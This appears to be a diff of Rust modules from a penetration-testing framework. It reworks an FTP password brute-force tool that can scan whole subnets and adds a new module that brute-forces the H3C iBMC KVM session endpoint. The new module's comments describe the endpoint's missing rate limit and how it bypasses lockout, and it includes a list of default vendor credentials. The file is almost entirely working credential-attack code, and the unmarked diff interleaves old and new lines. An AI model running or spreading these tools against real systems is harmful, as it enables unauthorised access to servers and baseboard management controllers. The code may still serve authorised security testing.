|| msg_lower.contains("connection reset")
|
||||
{
|
||||
return Self::ConnectionFailed;
|
||||
}
|
||||
Self::Unknown
|
||||
}
|
||||
|
||||
fn is_retryable(self) -> bool {
|
||||
matches!(self, Self::ConnectionFailed | Self::Unknown)
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
crate::mprintln!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port for display.
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
if (target.starts_with('[') && target.contains("]:"))
|
||||
|| (target.matches(':').count() == 1 && !target.contains('['))
|
||||
{
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean_target = if target.starts_with('[') && target.ends_with(']') {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean_target.contains(':') {
|
||||
format!("[{}]:{}", clean_target, port)
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean_target, port)
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("ftp_bruteforce requires a single-host target")?;
|
||||
display_banner();
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
println!("Invalid port. Try again.");
|
||||
};
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "500")?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { break n }
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ftp_subnet_results.txt").await?;
|
||||
|
||||
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "ftp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ftp_credcheck",
|
||||
skip_tcp_check: false,
|
||||
state_file: None,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_ftp_login(&addr, &ip.to_string(), &user, &pass, false).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let et = FtpErrorType::classify_error(&e.to_string());
|
||||
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
|
||||
}
|
||||
}
|
||||
}
|
||||
}).await?;
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
for (host, user, pass) in &hits {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid FTP credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"service": "ftp",
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
println!("Invalid number. Try again.");
|
||||
};
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
// Create a semaphore to limit concurrent network operations
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
// --- Single Target Mode ---
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 500, 1, 10000).await? as usize;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt")?)
|
||||
let default_name = format!("ftp_results_{}.txt", target.replace(['/', ':', '.', '[', ']', '\\'], "_"));
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", &default_name).await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
|
||||
|
||||
let addr = format_addr(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
|
||||
if !combo_mode && users.is_empty() && !passes.is_empty() {
|
||||
return Err(anyhow!(
|
||||
"Username wordlist ('{}') is empty, but password wordlist ('{}') is not. \
|
||||
Cannot proceed in line-by-line (non-combo) mode as it requires usernames to pair with passwords.",
|
||||
usernames_file, passwords_file
|
||||
));
|
||||
if users.is_empty() {
|
||||
crate::mprintln!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(ModuleOutcome::ok());
|
||||
}
|
||||
// (Optional: notifications for empty lists can remain here)
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
for pass in &passes {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Acquire a permit. This will block if `concurrency` limit is reached.
|
||||
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
|
||||
|
||||
// Proceed with the task logic only after a permit is acquired
|
||||
if *stop_clone.lock().await && stop_on_success { return; }
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
// Permit is automatically released when `_permit` goes out of scope here
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else { // Line-by-line mode
|
||||
if !users.is_empty() || passes.is_empty() {
|
||||
for (i, pass) in passes.iter().enumerate() {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
let user = if users.is_empty() { continue; } else {
|
||||
users.get(i % users.len()).expect("User list modulus logic error").clone()
|
||||
};
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Acquire a permit
|
||||
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
|
||||
|
||||
if *stop_clone.lock().await && stop_on_success { return; }
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
// Permit released
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut processed_tasks_count = 0;
|
||||
while let Some(res) = tasks.next().await {
|
||||
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
|
||||
}
|
||||
processed_tasks_count += 1;
|
||||
// (stop logic can remain)
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
let passes = if file_size(&passwords_file) > STREAMING_THRESHOLD {
|
||||
crate::mprintln!("{}", "[*] Large password file — will stream in batches".cyan());
|
||||
Vec::new()
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
let p = load_lines_uncapped(&passwords_file)?;
|
||||
if p.is_empty() {
|
||||
crate::mprintln!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(ModuleOutcome::ok());
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file '{}'", file_path.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", file_path.display());
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", p.len()).cyan());
|
||||
p
|
||||
};
|
||||
|
||||
let extra_combos = if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
load_credential_file(&cred_path)?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
let combo_mode = parse_combo_mode(&combo_input);
|
||||
let passwords_file_ref = passwords_file.clone();
|
||||
|
||||
// Capture verbose in the closure for try_ftp_login
|
||||
let target_owned = target.to_string();
|
||||
let limiter = ctx.limiter.clone();
|
||||
let module_path = ctx.module_path.clone();
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let addr = format_addr(&t, p);
|
||||
let verbose_flag = verbose;
|
||||
let limiter = limiter.clone();
|
||||
let module_path = module_path.clone();
|
||||
async move {
|
||||
limiter.acquire(&module_path, &t).await;
|
||||
match try_ftp_login(&addr, &t, &user, &pass, verbose_flag).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
|
||||
let et = FtpErrorType::classify_error(&e.to_string());
|
||||
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 0, 0, 10000).await? as u64;
|
||||
let max_retries = cfg_prompt_int_range("max_retries", "Max retries on error", 3, 0, 10).await? as usize;
|
||||
|
||||
let result = run_bruteforce_streaming(&BruteforceConfig {
|
||||
target: target_owned,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms,
|
||||
max_retries,
|
||||
service_name: "ftp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ftp_credcheck",
|
||||
}, users, Some(&passwords_file_ref), passes, combo_mode, extra_combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(path) = save_path {
|
||||
result.save_to_file(&path)?;
|
||||
}
|
||||
Ok(())
|
||||
|
||||
for (host, user, pass) in &result.found {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid FTP credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"service": "ftp",
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
// (try_ftp_login function remains unchanged from your last working version)
|
||||
// Attempt 1: Plain FTP
|
||||
match AsyncFtpStream::connect(addr).await {
|
||||
Ok(mut ftp) => {
|
||||
match ftp.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(true);
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
return Ok(false);
|
||||
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
// Log network errors if verbose, otherwise they might be too noisy
|
||||
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
/// Try FTP login with FTPS fallback when TLS is required.
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt plain FTP via source-port-aware TCP wrapper
|
||||
let tcp_result = timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
crate::utils::network::tcp_connect_str(addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)),
|
||||
).await;
|
||||
match tcp_result {
|
||||
Ok(Ok(tcp_stream)) => match AsyncFtpStream::connect_with_stream(tcp_stream).await {
|
||||
Ok(mut ftp) => {
|
||||
match ftp.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::AuthenticationFailed => return Ok(false),
|
||||
FtpErrorType::TlsRequired => { if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); } }
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
return Err(anyhow!("Connection limit exceeded (421)"));
|
||||
}
|
||||
// A connection drop DURING login (after a successful
|
||||
// handshake) is genuinely transient → retryable Error.
|
||||
FtpErrorType::ConnectionFailed => {
|
||||
return Err(anyhow!("FTP connection error during login: {}", msg));
|
||||
}
|
||||
// Any other post-handshake login error means the server
|
||||
// completed the handshake and then rejected the login
|
||||
// with unusual wording (e.g. 430/532 or a localized
|
||||
// message). That's a definitive auth result, not a
|
||||
// transient fault — returning it as a retryable Error
|
||||
// tripped the consecutive-error lockout on healthy hosts.
|
||||
FtpErrorType::Unknown => {
|
||||
tracing::debug!("FTP login rejected ({}): treating as auth failure", msg);
|
||||
return Ok(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
// Log network errors if verbose
|
||||
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTP handshake error: {}", e)),
|
||||
},
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(e) => return Err(anyhow!("Timeout: {e}")),
|
||||
}
|
||||
|
||||
// 2️⃣ Only if needed, try FTPS
|
||||
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
|
||||
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
// FTPS fallback
|
||||
if verbose {
|
||||
crate::mprintln!(" [v] {} — trying FTPS (TLS)...", addr);
|
||||
}
|
||||
let tcp_stream_tls = match timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
crate::utils::network::tcp_connect_str(addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)),
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return Err(anyhow!("FTPS TCP connect failed: {}", e)),
|
||||
Err(e) => return Err(anyhow!("FTPS connect timed out: {}", e)),
|
||||
};
|
||||
|
||||
let ftp_plain_tls = match AsyncNativeTlsFtpStream::connect_with_stream(tcp_stream_tls).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Err(anyhow!("FTPS FTP handshake failed: {}", e)),
|
||||
};
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
let domain = addr
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(addr);
|
||||
let domain = if target.starts_with('[') {
|
||||
target.trim_start_matches('[').split(']').next().unwrap_or(target)
|
||||
} else {
|
||||
target.split(':').next().unwrap_or(target)
|
||||
};
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
let mut ftp_tls = match ftp_plain_tls.into_secure(connector, domain).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
|
||||
};
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp_tls.quit().await;
|
||||
if let Err(e) = ftp_tls.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
match FtpErrorType::classify_error(&e.to_string()) {
|
||||
FtpErrorType::AuthenticationFailed => Ok(false),
|
||||
_ => Err(anyhow!("FTPS Error: {}", e)),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default_char);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Invalid input. Please enter 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader.lines().filter_map(Result::ok).collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
Path::new(input)
|
||||
.file_name()
|
||||
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
|
||||
.unwrap_or_else(|| PathBuf::from(input))
|
||||
}
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/ftp_bruteforce", native);
|
||||
|
||||
@@ -0,0 +1,459 @@
|
||||
//! H3C iBMC OEM KVM session brute force.
|
||||
//!
|
||||
//! H3C iBMC firmware exposes a vendor-specific KVM-session login endpoint at
|
||||
//! `POST /api/oem_kvm/session`
|
||||
//! that:
|
||||
//!
|
||||
//! * accepts credentials in three different encodings — plaintext,
|
||||
//! base64, and double-base64 — and silently treats whichever decodes
|
||||
//! to a valid string as authoritative;
|
||||
//! * returns `200 OK` with an `X-Auth-Token` body field on success and
|
||||
//! `401 Unauthorized` on failure;
|
||||
//! * has **no rate limiting** (operator confirmed via PoC: thousands of
|
||||
//! attempts/sec succeeded with no Retry-After / 429 / lockout);
|
||||
//! * is independent of the user-facing :443 web UI lockout state — even
|
||||
//! when the standard login is locked, this endpoint still services
|
||||
//! attempts.
|
||||
//!
|
||||
//! The combination is a complete brute-force-to-virtual-media chain: a
|
||||
//! discovered KVM credential gives the equivalent of physical console
|
||||
//! access (mount ISO, BIOS reboot, OS reinstall).
|
||||
//!
|
||||
//! This module:
|
||||
//! * Tries each `(user, password)` pair in three encodings.
|
||||
//! * Honours `Retry-After` if the server *does* surface a 429 (some
|
||||
//! hardened builds eventually do).
|
||||
//! * Stops on the first successful pair and persists it via the
|
||||
//! project-wide credential store.
|
||||
//!
|
||||
//! FOR AUTHORIZED TESTING ONLY.
|
||||
|
||||
use anyhow::{ anyhow, Context, Result };
|
||||
use base64::Engine;
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
|
||||
use crate::module_info::{ ModuleInfo, ModuleRank };
|
||||
use crate::utils::network::{ build_http_client_with, HttpClientOpts };
|
||||
use crate::utils::{
|
||||
cfg_prompt_default,
|
||||
cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range,
|
||||
cfg_prompt_yes_no,
|
||||
normalize_target,
|
||||
};
|
||||
|
||||
const DEFAULT_PORT: u16 = 443;
|
||||
const DEFAULT_PATH: &str = "/api/oem_kvm/session";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Built-in fallback credential pairs — mostly vendor defaults observed
|
||||
/// across H3C-OEM hardware deployments. Operators should prefer their own
|
||||
/// wordlist via `userlist`/`passlist`.
|
||||
const DEFAULT_CREDS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "Password@_"),
|
||||
("admin", "Password@123"),
|
||||
("admin", "h3capadmin"),
|
||||
("admin", "Admin@9000"),
|
||||
("Administrator", "Admin@9000"),
|
||||
("Administrator", "Administrator"),
|
||||
("sysadmin", "superuser"),
|
||||
("root", "root"),
|
||||
("root", "calvin"),
|
||||
("operator", "operator"),
|
||||
];
|
||||
|
||||
/// Encodings the endpoint accepts. The base64 / double-base64 variants
|
||||
/// matter because legacy clients post one of these formats and the server
|
||||
/// normalises them — so a wordlist hit may only fire under a non-plain
|
||||
/// encoding when the server's password store happens to compare against
|
||||
/// that decoded form.
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum Encoding {
|
||||
Plain,
|
||||
Base64,
|
||||
DoubleBase64,
|
||||
}
|
||||
|
||||
impl Encoding {
|
||||
fn label(self) -> &'static str {
|
||||
match self {
|
||||
Encoding::Plain => "plain",
|
||||
Encoding::Base64 => "b64",
|
||||
Encoding::DoubleBase64 => "b64x2",
|
||||
}
|
||||
}
|
||||
|
||||
fn encode(self, value: &str) -> String {
|
||||
match self {
|
||||
Encoding::Plain => value.to_string(),
|
||||
Encoding::Base64 => base64::engine::general_purpose::STANDARD.encode(value),
|
||||
Encoding::DoubleBase64 => {
|
||||
let once = base64::engine::general_purpose::STANDARD.encode(value);
|
||||
base64::engine::general_purpose::STANDARD.encode(once)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Outcome of a single login attempt. Distinguishes a transport/transient
|
||||
/// failure (which must NOT be treated as a denied credential) from a genuine
|
||||
/// authentication rejection.
|
||||
enum AttemptResult {
|
||||
/// Endpoint returned a session token — credential is valid.
|
||||
Hit(String),
|
||||
/// Endpoint definitively rejected the credential (401/403 or no token).
|
||||
Denied,
|
||||
/// Transient transport error (timeout, reset, TLS, connect refused).
|
||||
/// Retryable; never counts as a denial.
|
||||
Transient(String),
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
|
||||
crate::mprintln!("{}", "║ H3C iBMC OEM KVM Session Brute Force ║".red().bold());
|
||||
crate::mprintln!("{}", "║ POST /api/oem_kvm/session — no rate limit on default builds║".red());
|
||||
crate::mprintln!("{}", "║ Tries plain / base64 / double-base64 credential encodings ║".red());
|
||||
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
|
||||
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "H3C iBMC OEM KVM Session Brute Force".to_string(),
|
||||
description: "Brute-forces the H3C iBMC vendor-specific KVM session login at \
|
||||
